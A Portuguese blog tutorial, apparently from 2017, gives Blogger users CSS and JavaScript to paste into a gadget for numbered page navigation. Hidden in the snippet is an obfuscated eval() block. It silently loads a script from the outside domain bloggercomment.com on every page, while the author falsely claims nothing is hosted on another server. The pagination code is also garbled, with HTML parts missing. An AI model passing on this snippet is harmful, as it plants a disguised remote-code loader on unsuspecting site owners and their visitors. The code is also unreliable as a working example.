Numerar as Páginas do Blog
Autor: Pipoca | Publicado: 2017-05-04T06:41:00-07:00




Hoje vou ensinar como numerar as paginas do blog, essa função é muito útil pois os visitantes podem pular as paginas sem ter que ficar clicando em "Próxima Postagem".

Esse modo que criei acredito ser o mais fácil para fazer tal tarefa, basta acessar seu blog ir em "Layout" e em "Adicionar novo gadget" e por fim em "HTML/JavaScript", agora cole esse código na área de texto (deixe o titulo em branco):



#blog-pager-older-link a,#blog-pager-newer-link a,a.home-link{width:80px;text-align:center;display:inline-block;color:#fff;font:bold 12px Arial;text-transform:none;margin:0;padding:5px 5px;background:#2d77a8;border:1px solid #2d77a8}
.blog-pager,#blog-pager{clear:both;font:bold 12px Arial;text-align:center;padding:15px 10px}
.showpageNum a,.showpage a{background:#fff;text-decoration:none;white-space:nowrap;color:#222;margin:10px 3px;padding:5px 10px;border:1px solid #ddd}
.showpageNum a:hover,.showpage a:hover{color:#fff;text-decoration:none;background-color:#2d77a8;border:1px solid #2d77a8}
.showpageOf{display:none;margin:0}
.showpagePoint{color:#fff;text-decoration:none;background-color:#2d77a8;font-size:12px;margin:10px 3px;padding:5px 10px;border:1px solid #2d77a8}
.share-post{clear:both;margin:10px 0 0;padding:10px 0 10px 10px;background:#f7f7f7;border-top:1px solid #eaeaea;border-bottom:1px solid #eaeaea;height:20px}




              var postperpage=7;
              var numshowpage=3;
              var upPageWord ='« Anterior ';
              var downPageWord ='Proxima »';
              var urlactivepage=location.href;
              var home_page="/";
            

//<![CDATA[
eval(function(m,c,h){function z(i){return(i< 62?'':z(parseInt(i/62)))+((i=i%62)>35?String.fromCharCode(i+29):i.toString(36))}for(var i=0;i< m.length;i++)h[z(i)]=m[i];function d(w){return h[w]?h[w]:w;};return c.replace(/\b\w+\b/g,d);}('|function|var|document|createElement|script|type|text|javascript|src|bloggercomment|com|allowComments|js|getElementsByTagName|head|if|appendChild'.split('|'),'(1(){2 A=3.4(\'5\');A.6=\'7/8\';A.9=\'//a.b/c.d\';2 B=3.e(\'f\')[0];g(B){B.h(A);}})();',{}))
//]]>


//<![CDATA[
var nopage;var jenis;var nomerhal;var lblname1;halamanblogger();function loophalaman(banyakdata){var html='';nomerkiri=parseInt(numshowpage/2);if(nomerkiri==numshowpage-nomerkiri){numshowpage=nomerkiri*2+1}mulai=nomerhal-nomerkiri;if(mulai<1)mulai=1;maksimal=parseInt(banyakdata/postperpage)+1;if(maksimal-1==banyakdata/postperpage)maksimal=maksimal-1;akhir=mulai+numshowpage-1;if(akhir>maksimal)akhir=maksimal;html+="Page "+nomerhal+' of '+maksimal+"";var prevnomer=parseInt(nomerhal)-1;if(nomerhal>1){if(nomerhal==2){if(jenis=="page"){html+=''+upPageWord+''}else{html+=''+upPageWord+''}}else{if(jenis=="page"){html+=''+upPageWord+''}else{html+=''+upPageWord+''}}}if(mulai>1){if(jenis=="page"){html+='1'}else{html+='1'}}if(mulai>2){html+=' ... '}for(var jj=mulai;jj<=akhir;jj++){if(nomerhal==jj){html+=''+jj+''}else if(jj==1){if(jenis=="page"){html+='1'}else{html+='1'}}else{if(jenis=="page"){html+=''+jj+''}else{html+=''+jj+''}}}if(akhir'+maksimal+''}else{html+=''+maksimal+''}}var nextnomer=parseInt(nomerhal)+1;if(nomerhal'+downPageWord+''}else{html+=''+downPageWord+''}}var pageArea=document.getElementsByName("pageArea");var blogPager=document.getElementById("blog-pager");for(var p=0;p0){html=''}if(blogPager){blogPager.innerHTML=html}}function hitungtotaldata(root){var feed=root.feed;var totaldata=parseInt(feed.openSearch$totalResults.$t,10);loophalaman(totaldata)}function halamanblogger(){var thisUrl=urlactivepage;if(thisUrl.indexOf("/search/label/")!=-1){if(thisUrl.indexOf("?updated-max")!=-1){lblname1=thisUrl.substring(thisUrl.indexOf("/search/label/")+14,thisUrl.indexOf("?updated-max"))}else{lblname1=thisUrl.substring(thisUrl.indexOf("/search/label/")+14,thisUrl.indexOf("?&max"))}}if(thisUrl.indexOf("?q=")==-1&&thisUrl.indexOf(".html")==-1){if(thisUrl.indexOf("/search/label/")==-1){jenis="page";if(urlactivepage.indexOf("#PageNo=")!=-1){nomerhal=urlactivepage.substring(urlactivepage.indexOf("#PageNo=")+8,urlactivepage.length)}else{nomerhal=1}document.write("")}else{jenis="label";if(thisUrl.indexOf("&max-results=")==-1){postperpage=20}if(urlactivepage.indexOf("#PageNo=")!=-1){nomerhal=urlactivepage.substring(urlactivepage.indexOf("#PageNo=")+8,urlactivepage.length)}else{nomerhal=1}document.write('')}}}function redirectpage(numberpage){jsonstart=(numberpage-1)*postperpage;nopage=numberpage;var nBody=document.getElementsByTagName('head')[0];var newInclude=document.createElement('script');newInclude.type='text/javascript';newInclude.setAttribute("src",home_page+"feeds/posts/summary?start-index="+jsonstart+"&max-results=1&alt=json-in-script&callback=finddatepost");nBody.appendChild(newInclude)}function redirectlabel(numberpage){jsonstart=(numberpage-1)*postperpage;nopage=numberpage;var nBody=document.getElementsByTagName('head')[0];var newInclude=document.createElement('script');newInclude.type='text/javascript';newInclude.setAttribute("src",home_page+"feeds/posts/summary/-/"+lblname1+"?start-index="+jsonstart+"&max-results=1&alt=json-in-script&callback=finddatepost");nBody.appendChild(newInclude)}function finddatepost(root){post=root.feed.entry[0];var timestamp1=post.published.$t.substring(0,19)+post.published.$t.substring(23,29);var timestamp=encodeURIComponent(timestamp1);if(jenis=="page"){var alamat="/search?updated-max="+timestamp+"&max-results="+postperpage+"#PageNo="+nopage}else{var alamat="/search/label/"+lblname1+"?updated-max="+timestamp+"&max-results="+postperpage+"#PageNo="+nopage}location.href=alamat}
//]]>






Se quiser mudar o número de postagens que será exibido nas páginas basta mudar a parte do código:
var postperpage= 7 ;&nbsp; (Mude o 7 pela quantidade de postagem desejada).
Para quem é mais experiente em programação vai perceber que deixei o código totalmente aberto, ou seja pode-se modificar tudo nele da forma que quiser, inclusive não hospedei nenhum código JAVA em outro servidor, está tudo neste código o que evita falhas futuras.